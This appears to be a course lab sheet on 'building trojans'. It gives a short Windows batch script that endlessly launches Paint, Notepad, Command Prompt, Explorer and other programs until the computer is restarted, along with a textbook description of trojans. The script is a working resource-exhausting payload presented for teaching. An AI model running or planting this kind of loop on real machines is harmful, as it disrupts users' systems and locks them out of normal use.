

Ex. No : 11(a)

Date :

Defeating Malware - Building Trojans

AIM:

To build a Trojan and know the harmness of the trojan malwares in a computer system.

PROCEDURE:

1. Create a simple trojan by using Windows Batch File (**.bat**)
2. Type these below code in notepad and save it as **Trojan.bat**
3. Double click on **Trojan.bat** file.
4. When the trojan code executes, it will open MS-Paint, Notepad, Command Prompt, Explorer, etc., infinitely.
5. Restart the computer to stop the execution of this trojan.

TROJAN:

- In computing, a Trojan horse, or trojan, is any malware which misleads users of its true intent.
- Trojans are generally spread by some form of social engineering, for example where a user is duped into executing an email attachment disguised to appear not suspicious, (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else.
- Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer.
- Trojans may allow an attacker to access users' personal information such as banking information, passwords, or personal identity.
- **Example:** *Ransomware* attacks are often carried out using a *trojan*.

CODE:

Trojan.bat

@echo off

:x

start mspaint

start notepad

start cmd

start explorer

start control

start calc

goto x

OUTPUT

(MS-Paint, Notepad, Command Prompt, Explorer will open infinitely)

RESULT:

Thus a trojan has been built and the harmness of the trojan viruses has been explored.